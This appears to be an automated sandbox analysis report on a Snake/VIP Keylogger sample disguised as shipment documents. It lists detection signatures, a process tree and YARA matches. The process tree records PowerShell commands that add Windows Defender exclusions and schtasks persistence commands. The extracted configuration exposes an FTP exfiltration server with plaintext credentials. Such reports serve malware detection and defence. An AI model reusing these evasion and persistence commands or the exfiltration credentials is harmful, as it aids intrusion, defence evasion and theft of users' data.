Edit tour

Windows Analysis Report
rShipmentDocuments.exe

Overview

General Information

Sample name:	rShipmentDocuments.exe
Analysis ID:	1531471
MD5:	ff8c4ab4ec18f05864879323f4a41050
SHA1:	6552329870d1a2627b5e9b6b6cfd3d2efea87735
SHA256:	db4523c5fa05acf8d6c8d47c722a5c39a728078f94a7f6877faa0a6fb87afc33
Tags:	exeSnakeKeyloggeruser-Porcupine
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Yara detected AntiVM3

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses FTP

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

rShipmentDocuments.exe (PID: 7300 cmdline: "C:\Users\user\Desktop\rShipmentDocuments.exe" MD5: FF8C4AB4EC18F05864879323F4A41050)

powershell.exe (PID: 7488 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\rShipmentDocuments.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7904 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

powershell.exe (PID: 7544 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7616 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZOlmYtPdlO" /XML "C:\Users\user\AppData\Local\Temp\tmp44A0.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7628 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rShipmentDocuments.exe (PID: 7760 cmdline: "C:\Users\user\Desktop\rShipmentDocuments.exe" MD5: FF8C4AB4EC18F05864879323F4A41050)

rShipmentDocuments.exe (PID: 7768 cmdline: "C:\Users\user\Desktop\rShipmentDocuments.exe" MD5: FF8C4AB4EC18F05864879323F4A41050)

ZOlmYtPdlO.exe (PID: 7824 cmdline: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe MD5: FF8C4AB4EC18F05864879323F4A41050)

schtasks.exe (PID: 8072 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZOlmYtPdlO" /XML "C:\Users\user\AppData\Local\Temp\tmp5356.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 8084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ZOlmYtPdlO.exe (PID: 8120 cmdline: "C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe" MD5: FF8C4AB4EC18F05864879323F4A41050)

ZOlmYtPdlO.exe (PID: 8128 cmdline: "C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe" MD5: FF8C4AB4EC18F05864879323F4A41050)

ZOlmYtPdlO.exe (PID: 8136 cmdline: "C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe" MD5: FF8C4AB4EC18F05864879323F4A41050)

cleanup

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "FTP", "Username": "Soma@hulonqgroup.com", "Password": "TNwhAkO^1&lZ", "FTP Server": "ftp://185.230.141.85/", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000010.00000002.4137318627.000000000316B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.4137543225.0000000002C11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000009.00000002.4134245226.0000000000423000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xd6c3:$a1: get_encryptedPassword 0xd9e0:$a2: get_encryptedUsername 0xd4d3:$a3: get_timePasswordChanged 0xd5dc:$a4: get_passwordField 0xd6d9:$a5: set_encryptedPassword 0xed7a:$a7: get_logins 0xecdd:$a10: KeyLoggerEventArgs 0xe942:$a11: KeyLoggerEventArgsEventHandler
00000009.00000002.4137543225.0000000002D1A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.4134245226.0000000000434000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.4134245226.0000000000434000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000009.00000002.4134245226.0000000000434000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000010.00000002.4137318627.0000000003061000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2ea63:$a1: get_encryptedPassword 0x72e83:$a1: get_encryptedPassword 0xb70a3:$a1: get_encryptedPassword 0x2ed80:$a2: get_encryptedUsername 0x731a0:$a2: get_encryptedUsername 0xb73c0:$a2: get_encryptedUsername 0x2e873:$a3: get_timePasswordChanged 0x72c93:$a3: get_timePasswordChanged 0xb6eb3:$a3: get_timePasswordChanged 0x2e97c:$a4: get_passwordField 0x72d9c:$a4: get_passwordField 0xb6fbc:$a4: get_passwordField 0x2ea79:$a5: set_encryptedPassword 0x72e99:$a5: set_encryptedPassword 0xb70b9:$a5: set_encryptedPassword 0x3011a:$a7: get_logins 0x7453a:$a7: get_logins 0xb875a:$a7: get_logins 0x3007d:$a10: KeyLoggerEventArgs 0x7449d:$a10: KeyLoggerEventArgs 0xb86bd:$a10: KeyLoggerEventArgs
00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e99b:$a1: get_encryptedPassword 0x72dbb:$a1: get_encryptedPassword 0xb6fdb:$a1: get_encryptedPassword 0x2ecb8:$a2: get_encryptedUsername 0x730d8:$a2: get_encryptedUsername 0xb72f8:$a2: get_encryptedUsername 0x2e7ab:$a3: get_timePasswordChanged 0x72bcb:$a3: get_timePasswordChanged 0xb6deb:$a3: get_timePasswordChanged 0x2e8b4:$a4: get_passwordField 0x72cd4:$a4: get_passwordField 0xb6ef4:$a4: get_passwordField 0x2e9b1:$a5: set_encryptedPassword 0x72dd1:$a5: set_encryptedPassword 0xb6ff1:$a5: set_encryptedPassword 0x30052:$a7: get_logins 0x74472:$a7: get_logins 0xb8692:$a7: get_logins 0x2ffb5:$a10: KeyLoggerEventArgs 0x743d5:$a10: KeyLoggerEventArgs 0xb85f5:$a10: KeyLoggerEventArgs
Process Memory Space: rShipmentDocuments.exe PID: 7300	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: rShipmentDocuments.exe PID: 7300	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: rShipmentDocuments.exe PID: 7300	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: rShipmentDocuments.exe PID: 7300	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: rShipmentDocuments.exe PID: 7300	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x77e9c:$a1: get_encryptedPassword 0x781af:$a2: get_encryptedUsername 0x77cb6:$a3: get_timePasswordChanged 0x77dbf:$a4: get_passwordField 0x77eb2:$a5: set_encryptedPassword 0x7a366:$a7: get_logins 0x7a2c9:$a10: KeyLoggerEventArgs 0x79f32:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: rShipmentDocuments.exe PID: 7768	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: rShipmentDocuments.exe PID: 7768	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: rShipmentDocuments.exe PID: 7768	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: rShipmentDocuments.exe PID: 7768	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12bbac:$a1: get_encryptedPassword 0x12bebf:$a2: get_encryptedUsername 0x12b9c6:$a3: get_timePasswordChanged 0x12bacf:$a4: get_passwordField 0x12bbc2:$a5: set_encryptedPassword 0x12e076:$a7: get_logins 0x12dfd9:$a10: KeyLoggerEventArgs 0x12dc42:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: ZOlmYtPdlO.exe PID: 7824	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ZOlmYtPdlO.exe PID: 7824	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: ZOlmYtPdlO.exe PID: 7824	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: ZOlmYtPdlO.exe PID: 7824	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: ZOlmYtPdlO.exe PID: 7824	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3feaa:$a1: get_encryptedPassword 0x401bd:$a2: get_encryptedUsername 0x3fcc4:$a3: get_timePasswordChanged 0x3fdcd:$a4: get_passwordField 0x3fec0:$a5: set_encryptedPassword 0x42374:$a7: get_logins 0x422d7:$a10: KeyLoggerEventArgs 0x41f40:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: ZOlmYtPdlO.exe PID: 8136	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ZOlmYtPdlO.exe PID: 8136	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 27 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.rShipmentDocuments.exe.44114f8.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.rShipmentDocuments.exe.44114f8.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.rShipmentDocuments.exe.44114f8.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.rShipmentDocuments.exe.44114f8.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2cac3:$a1: get_encryptedPassword 0x2cde0:$a2: get_encryptedUsername 0x2c8d3:$a3: get_timePasswordChanged 0x2c9dc:$a4: get_passwordField 0x2cad9:$a5: set_encryptedPassword 0x2e17a:$a7: get_logins 0x2e0dd:$a10: KeyLoggerEventArgs 0x2dd42:$a11: KeyLoggerEventArgsEventHandler
0.2.rShipmentDocuments.exe.44114f8.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3a860:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x39f03:$a3: \Google\Chrome\User Data\Default\Login Data 0x3a160:$a4: \Orbitum\User Data\Default\Login Data 0x3ab3f:$a5: \Kometa\User Data\Default\Login Data
10.2.ZOlmYtPdlO.exe.390e1a0.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.ZOlmYtPdlO.exe.390e1a0.1.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
10.2.ZOlmYtPdlO.exe.390e1a0.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.rShipmentDocuments.exe.43cd0d8.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.rShipmentDocuments.exe.43cd0d8.2.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.rShipmentDocuments.exe.43cd0d8.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.rShipmentDocuments.exe.43cd0d8.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2cac3:$a1: get_encryptedPassword 0x2cde0:$a2: get_encryptedUsername 0x2c8d3:$a3: get_timePasswordChanged 0x2c9dc:$a4: get_passwordField 0x2cad9:$a5: set_encryptedPassword 0x2e17a:$a7: get_logins 0x2e0dd:$a10: KeyLoggerEventArgs 0x2dd42:$a11: KeyLoggerEventArgsEventHandler
9.2.rShipmentDocuments.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.rShipmentDocuments.exe.400000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
9.2.rShipmentDocuments.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
9.2.rShipmentDocuments.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e8c3:$a1: get_encryptedPassword 0x2ebe0:$a2: get_encryptedUsername 0x2e6d3:$a3: get_timePasswordChanged 0x2e7dc:$a4: get_passwordField 0x2e8d9:$a5: set_encryptedPassword 0x2ff7a:$a7: get_logins 0x2fedd:$a10: KeyLoggerEventArgs 0x2fb42:$a11: KeyLoggerEventArgsEventHandler
9.2.rShipmentDocuments.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3c660:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3bd03:$a3: \Google\Chrome\User Data\Default\Login Data 0x3bf60:$a4: \Orbitum\User Data\Default\Login Data 0x3c93f:$a5: \Kometa\User Data\Default\Login Data
9.2.rShipmentDocuments.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2f4e6:$s1: UnHook 0x2f4ed:$s2: SetHook 0x2f4f5:$s3: CallNextHook 0x2f502:$s4: _hook
10.2.ZOlmYtPdlO.exe.39525c0.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.ZOlmYtPdlO.exe.39525c0.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
10.2.ZOlmYtPdlO.exe.39525c0.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.rShipmentDocuments.exe.43cd0d8.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3a860:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x39f03:$a3: \Google\Chrome\User Data\Default\Login Data 0x3a160:$a4: \Orbitum\User Data\Default\Login Data 0x3ab3f:$a5: \Kometa\User Data\Default\Login Data
0.2.rShipmentDocuments.exe.43cd0d8.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2d6e6:$s1: UnHook 0x2d6ed:$s2: SetHook 0x2d6f5:$s3: CallNextHook 0x2d702:$s4: _hook
10.2.ZOlmYtPdlO.exe.39525c0.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.ZOlmYtPdlO.exe.39525c0.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
10.2.ZOlmYtPdlO.exe.390e1a0.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.ZOlmYtPdlO.exe.390e1a0.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
10.2.ZOlmYtPdlO.exe.390e1a0.1.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
10.2.ZOlmYtPdlO.exe.390e1a0.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.2.ZOlmYtPdlO.exe.390e1a0.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e8c3:$a1: get_encryptedPassword 0x72ce3:$a1: get_encryptedPassword 0xb6f03:$a1: get_encryptedPassword 0x2ebe0:$a2: get_encryptedUsername 0x73000:$a2: get_encryptedUsername 0xb7220:$a2: get_encryptedUsername 0x2e6d3:$a3: get_timePasswordChanged 0x72af3:$a3: get_timePasswordChanged 0xb6d13:$a3: get_timePasswordChanged 0x2e7dc:$a4: get_passwordField 0x72bfc:$a4: get_passwordField 0xb6e1c:$a4: get_passwordField 0x2e8d9:$a5: set_encryptedPassword 0x72cf9:$a5: set_encryptedPassword 0xb6f19:$a5: set_encryptedPassword 0x2ff7a:$a7: get_logins 0x7439a:$a7: get_logins 0xb85ba:$a7: get_logins 0x2fedd:$a10: KeyLoggerEventArgs 0x742fd:$a10: KeyLoggerEventArgs 0xb851d:$a10: KeyLoggerEventArgs
10.2.ZOlmYtPdlO.exe.390e1a0.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3c660:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x80a80:$a2: \Comodo\Dragon\User Data\Default\Login Data 0xc4ca0:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3bd03:$a3: \Google\Chrome\User Data\Default\Login Data 0x80123:$a3: \Google\Chrome\User Data\Default\Login Data 0xc4343:$a3: \Google\Chrome\User Data\Default\Login Data 0x3bf60:$a4: \Orbitum\User Data\Default\Login Data 0x80380:$a4: \Orbitum\User Data\Default\Login Data 0xc45a0:$a4: \Orbitum\User Data\Default\Login Data 0x3c93f:$a5: \Kometa\User Data\Default\Login Data 0x80d5f:$a5: \Kometa\User Data\Default\Login Data 0xc4f7f:$a5: \Kometa\User Data\Default\Login Data
10.2.ZOlmYtPdlO.exe.390e1a0.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2f4e6:$s1: UnHook 0x73906:$s1: UnHook 0xb7b26:$s1: UnHook 0x2f4ed:$s2: SetHook 0x7390d:$s2: SetHook 0xb7b2d:$s2: SetHook 0x2f4f5:$s3: CallNextHook 0x73915:$s3: CallNextHook 0xb7b35:$s3: CallNextHook 0x2f502:$s4: _hook 0x73922:$s4: _hook 0xb7b42:$s4: _hook
10.2.ZOlmYtPdlO.exe.39525c0.0.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
10.2.ZOlmYtPdlO.exe.39525c0.0.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.2.ZOlmYtPdlO.exe.390e1a0.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2cac3:$a1: get_encryptedPassword 0x2cde0:$a2: get_encryptedUsername 0x2c8d3:$a3: get_timePasswordChanged 0x2c9dc:$a4: get_passwordField 0x2cad9:$a5: set_encryptedPassword 0x2e17a:$a7: get_logins 0x2e0dd:$a10: KeyLoggerEventArgs 0x2dd42:$a11: KeyLoggerEventArgsEventHandler
10.2.ZOlmYtPdlO.exe.390e1a0.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3a860:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x39f03:$a3: \Google\Chrome\User Data\Default\Login Data 0x3a160:$a4: \Orbitum\User Data\Default\Login Data 0x3ab3f:$a5: \Kometa\User Data\Default\Login Data
10.2.ZOlmYtPdlO.exe.39525c0.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2cac3:$a1: get_encryptedPassword 0x2cde0:$a2: get_encryptedUsername 0x2c8d3:$a3: get_timePasswordChanged 0x2c9dc:$a4: get_passwordField 0x2cad9:$a5: set_encryptedPassword 0x2e17a:$a7: get_logins 0x2e0dd:$a10: KeyLoggerEventArgs 0x2dd42:$a11: KeyLoggerEventArgsEventHandler
0.2.rShipmentDocuments.exe.44114f8.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2d6e6:$s1: UnHook 0x2d6ed:$s2: SetHook 0x2d6f5:$s3: CallNextHook 0x2d702:$s4: _hook
10.2.ZOlmYtPdlO.exe.39525c0.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3a860:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x39f03:$a3: \Google\Chrome\User Data\Default\Login Data 0x3a160:$a4: \Orbitum\User Data\Default\Login Data 0x3ab3f:$a5: \Kometa\User Data\Default\Login Data
10.2.ZOlmYtPdlO.exe.390e1a0.1.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2d6e6:$s1: UnHook 0x2d6ed:$s2: SetHook 0x2d6f5:$s3: CallNextHook 0x2d702:$s4: _hook
10.2.ZOlmYtPdlO.exe.39525c0.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2d6e6:$s1: UnHook 0x2d6ed:$s2: SetHook 0x2d6f5:$s3: CallNextHook 0x2d702:$s4: _hook
10.2.ZOlmYtPdlO.exe.39525c0.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e8c3:$a1: get_encryptedPassword 0x72ae3:$a1: get_encryptedPassword 0x2ebe0:$a2: get_encryptedUsername 0x72e00:$a2: get_encryptedUsername 0x2e6d3:$a3: get_timePasswordChanged 0x728f3:$a3: get_timePasswordChanged 0x2e7dc:$a4: get_passwordField 0x729fc:$a4: get_passwordField 0x2e8d9:$a5: set_encryptedPassword 0x72af9:$a5: set_encryptedPassword 0x2ff7a:$a7: get_logins 0x7419a:$a7: get_logins 0x2fedd:$a10: KeyLoggerEventArgs 0x740fd:$a10: KeyLoggerEventArgs 0x2fb42:$a11: KeyLoggerEventArgsEventHandler 0x73d62:$a11: KeyLoggerEventArgsEventHandler
0.2.rShipmentDocuments.exe.43cd0d8.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.rShipmentDocuments.exe.43cd0d8.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.rShipmentDocuments.exe.43cd0d8.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.rShipmentDocuments.exe.43cd0d8.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.rShipmentDocuments.exe.43cd0d8.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e8c3:$a1: get_encryptedPassword 0x72ce3:$a1: get_encryptedPassword 0xb6f03:$a1: get_encryptedPassword 0x2ebe0:$a2: get_encryptedUsername 0x73000:$a2: get_encryptedUsername 0xb7220:$a2: get_encryptedUsername 0x2e6d3:$a3: get_timePasswordChanged 0x72af3:$a3: get_timePasswordChanged 0xb6d13:$a3: get_timePasswordChanged 0x2e7dc:$a4: get_passwordField 0x72bfc:$a4: get_passwordField 0xb6e1c:$a4: get_passwordField 0x2e8d9:$a5: set_encryptedPassword 0x72cf9:$a5: set_encryptedPassword 0xb6f19:$a5: set_encryptedPassword 0x2ff7a:$a7: get_logins 0x7439a:$a7: get_logins 0xb85ba:$a7: get_logins 0x2fedd:$a10: KeyLoggerEventArgs 0x742fd:$a10: KeyLoggerEventArgs 0xb851d:$a10: KeyLoggerEventArgs
0.2.rShipmentDocuments.exe.43cd0d8.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2f4e6:$s1: UnHook 0x73906:$s1: UnHook 0xb7b26:$s1: UnHook 0x2f4ed:$s2: SetHook 0x7390d:$s2: SetHook 0xb7b2d:$s2: SetHook 0x2f4f5:$s3: CallNextHook 0x73915:$s3: CallNextHook 0xb7b35:$s3: CallNextHook 0x2f502:$s4: _hook 0x73922:$s4: _hook 0xb7b42:$s4: _hook
10.2.ZOlmYtPdlO.exe.39525c0.0.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3c660:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x80880:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3bd03:$a3: \Google\Chrome\User Data\Default\Login Data 0x7ff23:$a3: \Google\Chrome\User Data\Default\Login Data 0x3bf60:$a4: \Orbitum\User Data\Default\Login Data 0x80180:$a4: \Orbitum\User Data\Default\Login Data 0x3c93f:$a5: \Kometa\User Data\Default\Login Data 0x80b5f:$a5: \Kometa\User Data\Default\Login Data
10.2.ZOlmYtPdlO.exe.39525c0.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2f4e6:$s1: UnHook 0x73706:$s1: UnHook 0x2f4ed:$s2: SetHook 0x7370d:$s2: SetHook 0x2f4f5:$s3: CallNextHook 0x73715:$s3: CallNextHook 0x2f502:$s4: _hook 0x73722:$s4: _hook
0.2.rShipmentDocuments.exe.44114f8.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.rShipmentDocuments.exe.44114f8.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.rShipmentDocuments.exe.44114f8.0.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.rShipmentDocuments.exe.44114f8.0.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
